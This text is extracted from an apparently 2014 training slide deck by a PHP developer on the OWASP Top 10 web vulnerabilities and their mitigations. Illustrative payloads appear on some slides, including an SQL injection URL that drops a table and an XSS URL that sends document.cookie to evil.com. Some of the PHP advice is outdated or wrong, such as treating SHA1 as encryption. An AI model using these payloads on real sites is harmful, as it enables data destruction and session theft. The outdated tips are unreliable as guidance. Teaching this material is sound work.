the top 10 security weakness (vulnerabilities) in web applications (owasp top 10)

8/12/2019 The top 10 security weakness (vulnerabilities) in web applications (OWASP Top 10)

1/33

Prepared By : Rushit Brahmbhatt

Date: 10-07-2014Mobile no: +91-8866115181

Company: Mxicoders Pvt. Ltd.
http://www.mxicoders.com/


2/33

Intro

Open Web Application Security Project (OWASP)

Top 10 Security Vulnerabilities

Avoiding Php Tips


3/33

What is OWASP? Website: http://owasp.org Worldwide non-profit focused on improving software

security Reaches out to ALL developers: not just security professionals

Who am I? Bachelor in Computer Science And Engineering(GTU) Work as a PHP Developer since 1.5 Year Employee of Mxicoders Pvt. Ltd.

What will you learn? The top 10 security mistakes that developers make How to design software with an assurance of security
http://www.mxicoders.com/http://www.mxicoders.com/http://www.mxicoders.com/http://www.mxicoders.com/http://www.mxicoders.com/


4/33

1) Injection2)Cross Site Scripting

3)Broken Authentication and Session Management

4)Insecure Direct Object References5)Cross Site Request Forgery (CSRF)

6)Security Misconfiguration

7)Insecure Cryptographic Storage

8)Failure to Restrict URL Access9)Insufficient Transport Layer Protection

10)Invalidated Redirects and Forwards


5/33

Used when your app sends user-supplied data to otherapps Database, Operating System, LDAP, Web Services

Hackers "inject" their code to run instead of yours To access unauthorized data, or completely take over

remote application


6/33

Code expects a nice URL:http://example.com/products?id=123

Hacker could instead supply

this:http://example.com/products?id=';+DROP+TABLE+'products';


7/33

Always assume data coming in could be "evil" be sure to include "evil" use cases and user stories in

your design

Use an interface that supports bind variables (e.g.,prepared statements, or stored procedures)

Encode all user input before passing it to the

interpreter

If user-input text is needed, use parameterized queries clean up quotes, parenthesis, and SQL comments


8/33

Sites must "cleanse" user input before displaying it

Hackers can create URLs to inject their own HTMLonto the page can be used to do almost any kind of attack!!!

Steal users session, steal sensitive data, rewrite webpage, redirect user to phishing or malware site

Most Severe: Install XSS proxy which allows attacker to

observe and direct all users behavior on vulnerablesite and force user to other sites


9/33

Code expects a nice URL: http://example.com/buy?item=123

But a hacker could supply this:

http://example.com/buy?item='>document.location='http://evil.com/steal/'+document.cookie


10/33

Never, ever, ever trust user-submitted content! URLs, comments threads, web forms

Properly "escape" any data before displaying it on web pages

JavaScript parameters, URL parameters, STYLE elements Remove script tags, and possibly anything with a SRC attribute Use ESAPI to "cleanse" your HTML

Do not allow state-change from HTTP GET requests

Otherwise, an IMG tag could cause you to lose all your data

Set the HttpOnly flag in your response headers Prevents document.cookiefrom working in JavaScript


11/33

HTTP is a "stateless" protocol Nice and simple: HTTP request, HTTP response

All data must be passed in the request every time

How do we store state? Client side with cookies

Server side with sessions

Most apps place a "sessionId" in cookies, or in the URL

Problem: User accounts compromised or user sessions hijacked

Multiple ways to determine a session ID HttpReferrer logs, if sessionId is in the URL


12/33

Assume that a user stole a session ID Determine how bad this would be in your application

Use SSL everywhere!

Makes it harder for people to sniff your session ID

If you cannot use SSL everywhere, use it for logins

Have a cryptographically strong session ID

Verify that logoff actually destroys the session

Good sessionIds should be very difficult to re-use

Embed user IP address, user name, timestamp, and a secret Forces an attacker to spoof IP addresses to take over Prompt for re-login if IP changes during a session


13/33

This is part of enforcing proper Authorization, alongwith 7 Failure to Restrict URL Access

Only listing the authorized objects for the currentuser,

This is called presentation layer access control, anddoesnt work

Users are able to access unauthorized files or data


14/33

Code expects a nice URL: http://example.com/profile/123

But a hacker could supply this:

http://example.com/profile/124

Attacker views the victims account information


15/33

Eliminate the direct object reference Validate the direct object reference

Verify the parameter value is properly formatted

Verify the user is allowed to access the target object Verify the requested mode of access is allowed to the

target object (e.g., read, write, delete)


16/33

An attack where the victims browser is tricked intoissuing a command to a vulnerable web application

Vulnerability is caused by browsers automaticallyincluding user authentication data (session ID, IP

address, Windows domain credentials, ) with eachrequest

Impact : Initiate transactions (transfer funds, logout user, close

account)

Access sensitive data Change account details


17/33

All state change should require a unique token in therequest

But if its in the URL, it's vulnerable! avoid reusable tokens

General solution: All state change requires HTTP POST, not a GET Put one-time token in a hidden field on the web form After POST, do a GET redirect to a confirmation page

What kind of token?

Single-request tokens: safest, but a pain Session-based tokens hashed with session ID and action Require multiple-level authentication

If an action looks fishy, re-prompt user for login


18/33

Most web applications depend on some kind of framework Weblogic, Spring, Ruby on Rails, Open Source Libraries,

Codeignitor, wordpress, joomla, cakephp.

What if your framework issued a security patch?

Do you have a centralized policy for keeping dependenciesup-to-date? How long would it take you to discover new code? How long would it take to recompile/test/redeploy?

Do you know all security configurations in the framework?

Odds are no... documentation is usually obtuse Being helpful is a security hole

Have you properly "hardened" your framework? Delete default users, disable unused services and ports


19/33

Subscribe to newsletters and blog feeds to get patches Install the patches as quickly as possible

Do periodic scans to detect missing patches

Disable features that are "nice" for developers, but

"nasty" for security

Use automation to ensure patches are up-to-date If you can't verify it, it's not secure?


20/33

All applications store sensitive data Credit cards, passwords, secure documents

How much "sensitive" data is in your log files? In general, or for exotic errors?

How are you preventing unauthorized access to theseresources?

If somebody stole your backup tapes, how bad would itbe?


21/33

If you store secrets, encrypt them! Use only battle-tested standard encryption algorithms

Analyze possible threats: inside attack, external user Make sure encryption policy is appropriate for the threats

Encrypt data anywhere it's stored long term Especially backups!

Store backups of decryption keys separately from data

Restrict access to decrypted data to only authorized users

Hash all passwords with a standard algorithm, and a "salt" Use strong keys to access the information

Create a password management policy, and stick with it!


22/33

Similar to #4: Insecure Direct Object Reference Need to block specific actions, even if no resource is

identified

Attackers invoke functions and services theyre not

authorized for Access other users accounts and data Perform privileged actions


23/33

Code expects a nice URL: http://example.com/user/getAccounts

But a hacker could supply this: http://example.com/admin/getAccounts

Attacker views more accounts than just their own


24/33

For each URL, a site needs to do 3 things Restrict access to authenticated users (if not public) Enforce any user or role based permissions (if private) Completely disallow requests to unauthorized page types (e.g.,

config files, log files, source files, etc.)

Verify your architecture Use a simple, positive model at every layer Be sure you actually have a mechanism at every layer

Verify the implementation Forget automated analysis approaches Verify that each URL in your application is protected Verify the server configuration disallows requests to unauthorized

file types Use WebScarab or your browser to forge unauthorized requests


25/33

How is sensitive information sent from the user to yourserver? When they log in, or view sensitive data?

How do you send that information to other systems? JDBC call, Web Services, JMS, emails


26/33

Use strong, standards compliant network securityprotocols

Use TLS (SSL) on all connections with sensitive data

Encrypt messages before transmission XML-Encryption Sign messages before transmission

XML-Signature Disable old, flawed encryption algorithms (ie, SSL 2.0)

If HTTPS is impractical, at the very least secure thelogin process


27/33

And frequently include user supplied parameters inthe destination URL

If they arent validated, attacker can send victim to asite of their choice

Sometimes called "phishing holes"


28/33

Restrict redirects to a limited number of "trusted" sites

Keep a list of all redirect URLs, and pass the ID in therequest, instead of the URL

http://example.com/redirect?urlId=123

Hash the URL with a secret, and pass the hash in theURL http://example.com/redirect?url=google.com&hash=a1b

2c3


29/33

Use Captcha

Always Use Server side validation

Use access token

Use Salt key Use Encryption Algorithms

Use Database prefix

Validate User Input


30/33

html_entity_decode() - Convert all HTML entities to their

applicable characters htmlspecialchars() - Convert special characters to HTML

entities urlencode() - URL-encodes string mysql_real_escape_string()-Escapes special characters Sh1()-defult encryption algorithm strip_tags() This function removes all the HTML,

JavaScript and php tag from the string. Intval- it is function which gets the integer value from the

variable


31/33


32/33

WWW.GOOGLE.COM

WWW.SLIDESHARE.NET

WWW.OWASP.ORG

WWW.WIKIPEDIA.ORG


33/33

the top 10 security weakness (vulnerabilities) in web applications (owasp top 10)

Documents